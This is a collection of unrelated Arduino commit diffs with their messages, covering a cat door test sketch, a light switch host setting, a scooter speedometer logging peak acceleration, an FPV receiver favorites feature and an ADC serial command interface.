+    ; // wait for serial port to connect. Needed for native USB port only
+  }
+  Serial.println("Testing Catdoor!");
+#endif
+
+  if (! accel_sensor.begin(0x18)) {   // change this to 0x19 for alternative i2c address
+    Serial.println("Couldnt start");
+    while (1);
+  }
+  Serial.println("LIS3DH found!");
+
+  accel_sensor.setRange(LIS3DH_RANGE_4_G);
+
+  pwm_configure();
+  pwm_set(5, 0);
+  pwm_set(6, 0);
+  pwm_set(11, 0);
 }

 void loop() {
-  pwm_set(10, 512);
-  delay(1000);
-  pwm_set(12, 512);
-  delay(3000);
-  pwm_set(10, 256);
-  delay(1000);
-  pwm_set(12, 128);
-  delay(5000);
-  pwm_set(10, 0);
-  pwm_set(12, 0);
-  delay(4000);
+#ifdef TEST_ACCEL
+  Serial.println("Reading data...");
+  accel_sensor.read();
+  Serial.println("OK");
+  Serial.print(accel_sensor.accel[0]);
+  Serial.print("\t");
+  Serial.print(accel_sensor.accel[1]);
+  Serial.print("\t");
+  Serial.print(accel_sensor.accel[2]);
+  Serial.print("\t");
+  Serial.println(accel_sensor.getMaxCount());
+  delay(200);
+#endif
+
+#ifdef TEST_PWM
+  static uint16_t t = 0;
+  uint16_t v = (uint16_t)(256 * (1.0 + sin(2.0 * 3.141592 * (float)t / 500)));
+  //  uint16_t v = (uint16_t)(256+256*(0.5+0.5*sin(2.0*3.141592*(float)t/200)));
+  pwm_set(11, v);
+  t++;
+  delay(10);
+#endif
+
+#ifdef TEST_SOLENOIDS
+    pwm_set(5, 512);
+    delay(500);
+    pwm_set(5, 300);
+    delay(500);
+    pwm_set(6, 512);
+    delay(500);
+    pwm_set(6, 128);
+    delay(4000);
+    pwm_set(5, 0);
+    pwm_set(6, 0);
+    delay(8000);
+#endif
 }


hostname

hostname

--- arduino/light_switch/light_switch.ino
+++ arduino/light_switch/light_switch.ino
@@ -5,13 +5,13 @@
 // типа по адресу /rest/items/Light_1/state

 #define DEBUG_SWITCHER 0
-#define OPENHAB_HOST "192.168.2.2"
+#define OPENHAB_HOST "homer.local"
 #define OPENHAB_PORT 8080

 const char* CONTENT_TYPE = "Content-Type:text/plain";
 const char* ACCEPT       = "Accept:application/json";

-const int main_led_pin   = 16;
+const int main_led_pin  = 16;
 const int buttons_count = 3;
 // The Ethernet Controller (ENC28J60) uses the SPI pins (10, 11, 12, 13)
 const int buttons [buttons_count] = { 5, 3, 4 };


TiltCompensated e-Compass was wrong and useless, so was removed.

--- examples/TiltCompensatedECompass/TiltCompensatedECompass.ino
+++ examples/TiltCompensatedECompass/TiltCompensatedECompass.ino
@@ -1,37 +0,0 @@
-#include <Wire.h>
-#include <Nanoshield_IMU.h>
-#include <math.h>
-
-// http://cache.freescale.com/files/sensors/doc/app_note/AN4248.pdf
-
-Nanoshield_IMU imu;
-int16_t centerOffset[3];
-int i = 0;
-
-void setup() {
-  imu.setAccelerometerDataRate(LSM303D_AODR_50);
-  imu.setMagnetometerDataRate(LSM303D_MODR_50);
-  imu.begin();
-
-  centerOffset[0] = 0;
-  centerOffset[1] = 0;
-  centerOffset[2] = 0;
-
-  Serial.begin(9600);
-}
-
-void loop() {
-  if(i < 1000 && imu.magnetHasNewData()) {
-    centerOffset[0] += imu.magnetRawX();
-    centerOffset[1] += imu.magnetRawY();
-    centerOffset[2] += imu.magnetRawZ();
-    i++;
-  }
-
-  if(i == 1000) {
-    centerOffset[0] /= i;
-    centerOffset[1] /= i;
-    centerOffset[2] /= i;
-  }
-
-}


Record max accel in the Y axis up to 8g

Record max accel in the Y axis up to 8g

--- ScooterSpeedo.ino
+++ ScooterSpeedo.ino
@@ -28,6 +28,10 @@
 // Read the max recorded KPH and store it in memory
 const int MAX_RECORD_KPH_ADDRESS = 0;
 double maxRecordKph = 0.0;
+
+// Read the max recorded forward acceleration, too
+const int MAX_RECORD_ACCEL_Y_ADDRESS = 8;
+double maxRecordAccelY = 0.0;

 // Hall effect sensor read pin, make it an interrupt pin so we catch all revolutions
 const byte HALL_SENSOR = 2;
@@ -83,12 +87,25 @@
   if (isnan(maxRecordKph)) {
     maxRecordKph = 0.0;
   }
+
+  EEPROM.get(MAX_RECORD_ACCEL_Y_ADDRESS, maxRecordAccelY);
+  if (isnan(maxRecordAccelY)) {
+    maxRecordAccelY = 0.0;
+  }

   lcd.print("Max kph: ");
   lcd.print(maxRecordKph);
   lcd.setCursor(0,1);
   lcd.print("Max mph: ");
   lcd.print(kphToMph(maxRecordKph));
+
+  delay(2000);
+  lcd.clear();
+
+  lcd.print("Max Accel Y: ");
+  lcd.setCursor(0,1);
+  lcd.print(maxRecordAccelY);
+  lcd.print(" m/s^2");

   delay(2000);
   lcd.clear();
@@ -115,6 +132,13 @@
   lcd.print("AccY:");
   lcd.print(event.acceleration.y);
   lcd.print(" m/s^2");
+
+  if (event.acceleration.y > maxRecordAccelY) {
+    maxRecordAccelY = event.acceleration.y;
+    noInterrupts();
+    setMaxAccelY(maxRecordAccelY);
+    interrupts();
+  }

   // using blocking delay debounces the accelerometer and gives the display time to refresh
   delay(250);
@@ -163,3 +187,7 @@
 void setMaxSpeed(double k) {
   EEPROM.put(MAX_RECORD_KPH_ADDRESS, k);
 }
+
+void setMaxAccelY(double a) {
+  EEPROM.put(MAX_RECORD_ACCEL_Y_ADDRESS, a);
+}


Update rx5808-pro-diversityGc9n.ino

Update rx5808-pro-diversityGc9n.ino

--- rx5808-pro-diversityGc9n/rx5808-pro-diversityGc9n.ino
+++ rx5808-pro-diversityGc9n/rx5808-pro-diversityGc9n.ino
@@ -168,6 +168,9 @@
 char call_sign[10];
 bool settings_beeps = true;
 bool settings_orderby_channel = true;
+bool HaveFav = false;
+bool RefreshFav = false;
+uint8_t FirstFav =0;
 int lfavs=0;
 // SETUP ----------------------------------------------------------------------------
 void setup()
@@ -272,7 +275,7 @@

 #ifdef USE_IR_EMITTER
     // Used to Transmit IR Payloads
-   // Serial.begin(9600);
+    Serial.begin(9600);
 #endif

 #ifdef USE_DIVERSITY
@@ -525,7 +528,6 @@

             break;
             case STATE_SAVE:
-
                 EEPROM.write(EEPROM_ADR_TUNE,channelIndex);
                 EEPROM.write(EEPROM_ADR_STATE,state_last_used);
                 EEPROM.write(EEPROM_ADR_BEEP,settings_beeps);
@@ -537,10 +539,18 @@
             #ifdef USE_DIVERSITY
                             EEPROM.write(EEPROM_ADR_DIVERSITY,diversity_mode);
             #endif
-
-            if (last_state!=STATE_SETUP_MENU   ) // if you didnt came from menu setup  save favorite
-            {
-
+//            Serial.print ("last_state=");
+//            Serial.println (last_state);
+//            Serial.print ("state=");
+//            Serial.println (state);
+//             Serial.print ("STATE_FAVORITE=");
+//            Serial.println (STATE_FAVORITE);
+//             Serial.print ("state_last_used=");
+//            Serial.println (state_last_used);
+
+            if (last_state!=STATE_SETUP_MENU  && state_last_used!=STATE_FAVORITE ) // if you didnt came from menu setup  save favorite
+            {
+                // Serial.println("bike sto vasiko");
                  if ( EEPROM.read(EEPROM_ADR_TUNE_FAV[10]) != 255) //ALL FAVS full gc9n
                   {
                     int lfav;
@@ -587,14 +597,21 @@
 //                //Serial.print("settings_orderby_channel");
 //                //Serial.println(settings_orderby_channel);
                 drawScreen.save(state_last_used, channelIndex, pgm_read_word_near(channelFreqTable + channelIndex), call_sign,EEPROM.read(EEPROM_ADR_TUNE_FAV_LAST));
-
-            }
-            else
-            {                  //Serial.println("DEN PERASE");
-
-              drawScreen.save(state_last_used, channelIndex, pgm_read_word_near(channelFreqTable + channelIndex), call_sign,-99);}
-
-
+            }
+            if (last_state==STATE_SETUP_MENU)
+            {
+
+             drawScreen.save(state_last_used, channelIndex, pgm_read_word_near(channelFreqTable + channelIndex), call_sign,-99);
+            }
+
+            ///LONG PRESS IN FAVORITES WILL DELETE THE CURRENT FAVORITE CHANNEL
+            if  (state_last_used==STATE_FAVORITE )
+            {
+              EEPROM.write(EEPROM_ADR_TUNE_FAV[lfavs],255);
+              drawScreen.FavDelete(   pgm_read_word_near(channelFreqTable + channelIndex), lfavs);
+              RefreshFav=false;
+            }
+
                 for (uint8_t loop=0;loop<5;loop++)
                 {
                     beep(100); // beep
@@ -616,7 +633,8 @@
                 {
                     time_screen_saver=0; // dont show screen saver until we found a channel.
                 }
-                drawScreen.FavMode(state);
+
+                drawScreen.FavMode(state,FirstFav);

                 // return user to their saved channel after bandscan
                 if(state_last_used == STATE_SCAN || last_state == STATE_RSSI_SETUP) {
@@ -697,7 +715,8 @@
         state=state_last_used;
     }
 #endif
-
+    if (state != STATE_FAVORITE)
+    {RefreshFav=false;}
     /*****************************************/
     /*   Processing FAVORITES                */
     /*****************************************/
@@ -707,16 +726,29 @@
         wait_rssi_ready();
         rssi = readRSSI();
         rssi_best = (rssi > rssi_best) ? rssi : rssi_best;
+
 //         //Serial.println ("---------------START");
-//         for(int i = 1; i<=10; i++)
-//                {
+
+         if (!RefreshFav)
+         {
+          HaveFav=false;
+          for(int i = 1; i<=10; i++)
+                {
+                  //NoFav
 //
-//                       //Serial.print(i);
-//                         //Serial.print  (" VALUE ");
-//
-//                       //Serial.println (EEPROM.read(EEPROM_ADR_TUNE_FAV[i]) );
-//                }
+                       Serial.print(i);
+                       Serial.print  (" VALUE ");
+                       Serial.println (EEPROM.read(EEPROM_ADR_TUNE_FAV[i]) );
+
+                      if (EEPROM.read(EEPROM_ADR_TUNE_FAV[i])!=255)
+                      {  FirstFav=i;
+                        HaveFav=true;
+                        }
+                }
+                RefreshFav=true;
         //channel=channel_from_index(channelIndex); // get 0...48 index depending of current channel
+         }
+
         if(state == STATE_FAVORITE) // MANUAL MODE
         {
             // handling of keys
@@ -724,17 +756,17 @@
             {
               delay(KEY_DEBOUNCE); // debounce
                   lfavs++;
-                        if (lfavs>=11)
-                       {lfavs=10;}
-
+                  if (lfavs>=11)
+                  {lfavs=FirstFav;}
                  //Serial.print  ("UPEEPROM.read(EEPROM_ADR_TUNE_FAV[lfavs]) ");
                  //Serial.print  (EEPROM.read(EEPROM_ADR_TUNE_FAV[lfavs]) );
-                  //Serial.print  (" lfavs");
+                 //Serial.print  (" lfavs");
                  //Serial.println  (lfavs );
+
                 channelIndex=EEPROM.read(EEPROM_ADR_TUNE_FAV[lfavs]) ;
                 if (channelIndex!=255)
                 {
-
+
                     channel=channel_from_index(channelIndex); // get 0...48 index depending of current channel
                     time_screen_saver=millis();
                     beep(50); // beep & debounce
@@ -745,8 +777,7 @@
                     if (channelIndex > CHANNEL_MAX_INDEX)
                     {
                         channelIndex = CHANNEL_MIN_INDEX;
-                    }
-
+                    }
                 }
                   else
                 {lfavs--;}
@@ -756,7 +787,7 @@
                 delay(KEY_DEBOUNCE); // debounce
                 lfavs--;
                  if (lfavs<=0)
-                {lfavs=1;}
+                {lfavs=FirstFav;}
                  //Serial.print  ("downEEPROM.read(EEPROM_ADR_TUNE_FAV[lfavs]) ");
                  //Serial.print  (EEPROM.read(EEPROM_ADR_TUNE_FAV[lfavs]) );
                   //Serial.print  (" lfavs");
@@ -764,7 +795,7 @@

                 channelIndex=EEPROM.read(EEPROM_ADR_TUNE_FAV[lfavs]) ;
                  if (channelIndex!=255)
-                {
+                {
                     channel=channel_from_index(channelIndex); // get 0...48 index depending of current channel
                     time_screen_saver=millis();
                     beep(50); // beep & debounce
@@ -851,7 +882,11 @@
             }
         }

-        drawScreen.updateSeekMode(state, channelIndex, channel, rssi, pgm_read_word_near(channelFreqTable + channelIndex), rssi_seek_threshold, seek_found);
+        if (HaveFav==false)
+        {drawScreen.NoFav(state);}   // IF YOU DINT HAVE FAVS
+        else
+        {drawScreen.updateSeekMode(state, channelIndex, channel, rssi, pgm_read_word_near(channelFreqTable + channelIndex), rssi_seek_threshold, seek_found);}// IF YOU HAVE FAVS
+
     }

@@ -1072,7 +1107,9 @@
         channelIndex = pgm_read_byte_near(channelList + channel);
     }

-
+    /****************************/
+    /*      SETUP_MENU   */
+    /****************************/
     if(state == STATE_SETUP_MENU)
     {
         // simple menu


serial listening added

serial listening added

--- firmware/firmware.ino
+++ firmware/firmware.ino
@@ -100,6 +100,11 @@
 int delayFactor = 1;
 void loop()
 {
+  while (Serial.available() > 0)
+  {
+    char c = Serial.read();
+    Serial.print(c);
+  }
   if (digitalRead(btnPin) == HIGH)
   {
     btnState = true;


Added doxygen comments to setup and loop

--- firmware/firmware.ino
+++ firmware/firmware.ino
@@ -18,6 +18,9 @@
 // global sensors object
 Sensors sensors;

+/**
+ * @brief The main setup loop for our sensors and WIFI.
+ */
 void setup(){
 	// Start up the serial communication.
 	// Find out why this cuts off the next serial print.
@@ -55,6 +58,9 @@

 }

+/**
+ * @brief Main loop of our application to read sensors and send data to server.
+ */
 void loop(){

   // time stamp each iteration


Implements serial command interface

Implements serial command interface

--- firmware/firmware.ino
+++ firmware/firmware.ino
@@ -1,6 +1,13 @@
 /**
  * This firmware is intended to interface with a ADS7825 from TI/BB, and
  * provide digital codes to the control software over USB-Serial.
+ *
+ * The software responds to the following serial commands:
+ *
+ * - r:  read all 4 channels, return results immediately via serial
+ * - sN: performs N scans of all 4 channels. Results are stored until p is
+ *       issued.
+ * - p: prints the buffer, used to retrive values from sN
  */

 // Adding _ prefix b/c arduino api uses some of these names otherwise
@@ -24,6 +31,10 @@

 #define     _TRIG_PIN (18)
 #define     _TRIG_INT (5)
+
+// the trigger frequency is divided by _DIVIDER. e.g. if the trigger frequency
+// is 100Hz, and _DIVIDER is 10, then sampling occurs at 10Hz
+#define     _DIVIDER  (10)

 // *4 b/c we are sampling 4 channels. We assume each element of buf is enough
 // to hold a 16bit value
@@ -51,13 +62,12 @@

   Serial.begin(115200);
   Serial.println("Ready");
-  Serial.println(millis());
 }

 /**
   Waits for BUSY to go high
   */
-void wait_busy() {
+inline void wait_busy() {
   while(digitalRead(_BUSY) == LOW) {
     digitalWrite(_LED, ~digitalRead(_BUSY));
   }
@@ -88,9 +98,8 @@
   // wait for busy to go high
   wait_busy();

-  // pre-select the high byte for reading
+  // elect the high byte for reading
   digitalWrite(_BYTE, LOW);
-  delayMicroseconds(1);

   // use port manipulation to read the data pins. Note that our pinmapping
   // is such that port C maps exactly onto the parallel output from the
@@ -112,93 +121,59 @@
   trigcnt += 1;
 }

-
-void loop() {
-  loop2();
-}
-
-int16_t cnt = 0;
+// buffer for 16bit values from the ADC
 int16_t buf[_BUF_SIZE];
 uint16_t writepos = 0;

-void loop2() {
-  // XXX this should be 10, but is 5 for debugging purposes
-  if (trigcnt>=10) {
-    trigcnt = 0;
-    if (writepos < _BUF_SIZE) {
-      buf[writepos+0] = read_analog(1);
-      buf[writepos+1] = read_analog(2);
-      buf[writepos+2] = read_analog(3);
-      buf[writepos+3] = read_analog(0);
+void loop() {
+  int c = Serial.read();
+  if (c == 'r') {
+    // prime the ADS7825 to scan channel 0
+    read_analog(0);
+    Serial.print(read_analog(1));Serial.print(" ");
+    Serial.print(read_analog(2));Serial.print(" ");
+    Serial.print(read_analog(3));Serial.print(" ");
+    Serial.print(read_analog(0));Serial.println();
+  } else if (c == 's') {
+    int nscans = Serial.parseInt();
+    scan_channels(nscans);
+  } else if (c == 'p') {
+    for (int idx = 0; idx < writepos; idx += 4) {
+      Serial.print(idx/4);Serial.print(" ");
+      Serial.print(buf[idx+0]);Serial.print(" ");
+      Serial.print(buf[idx+1]);Serial.print(" ");
+      Serial.print(buf[idx+2]);Serial.print(" ");
+      Serial.print(buf[idx+3]);Serial.println();
+    }
+  } else if (c != -1) Serial.println("???");
+}

-      writepos += 4;
-    } else {
-      if (writepos != 0xFFFF) {
-        Serial.println(millis());
-        writepos = 0xFFFF;
+/**
+  Performs nscan number of scans of the 4 ADC channels, storing the results
+  into buf.

-        for (int idx = 0; idx < _BUF_SIZE; idx+=4) {
-          Serial.print(idx/4);
-          Serial.print(" ");
-          Serial.print(buf[idx+0]);
-          Serial.print(" ");
-          Serial.print(buf[idx+1]);
-          Serial.print(" ");
-          Serial.print(buf[idx+2]);
-          Serial.print(" ");
-          Serial.print(buf[idx+3]);
-          Serial.println();
-        }
-      }
+  Note that if there is insufficient storage space (_BUF_SIZE), scan will be
+  prematurely terminated.
+  */
+void scan_channels(uint16_t nscans) {
+  // prime the ADS7825 to scan channel 0
+  read_analog(0);
+
+  // reset back to start of buffer
+  writepos = 0;
+
+  while (nscans) {
+    if (trigcnt>=_DIVIDER) {
+      trigcnt = 0;
+      if (writepos < _BUF_SIZE) {
+        buf[writepos+0] = read_analog(1);
+        buf[writepos+1] = read_analog(2);
+        buf[writepos+2] = read_analog(3);
+        buf[writepos+3] = read_analog(0);
+
+        writepos += 4;
+        nscans -= 1;
+      } else return;
     }
   }
 }
-
-void loop1() {
-  buf[0] = read_analog(1);
-  buf[1] = read_analog(2);
-  buf[2] = read_analog(3);
-  buf[3] = read_analog(0);
-  delay(10);
-  Serial.print(cnt);
-  Serial.print(" ");
-  Serial.print(buf[0]);
-  Serial.print(" ");
-  Serial.print(buf[1]);
-  Serial.print(" ");
-  Serial.print(buf[2]);
-  Serial.print(" ");
-  Serial.print(buf[3]);
-  Serial.println();
-  cnt += 1;
-
-}
-
-uint8_t trigstate = LOW;
-void loop0() {
-  // XXX trigger on a rising edge
-  if (trigstate != digitalRead(_TRIG_PIN) && trigstate == HIGH) {
-    trigcnt += 1;
-    trigstate = !trigstate;
-  }
-
-  if (trigcnt >= 10) {
-    trigcnt = 0;
-    buf[0] = read_analog(1);
-    buf[1] = read_analog(2);
-    buf[2] = read_analog(3);
-    buf[3] = read_analog(0);
-
-    Serial.print(cnt);
-    Serial.print(" ");
-    Serial.print(buf[0]);
-    Serial.print(" ");
-    Serial.print(buf[1]);
-    Serial.print(" ");
-    Serial.print(buf[2]);
-    Serial.print(" ");
-    Serial.print(buf[3]);
-    Serial.println();
-    cnt += 1;
-  }
-}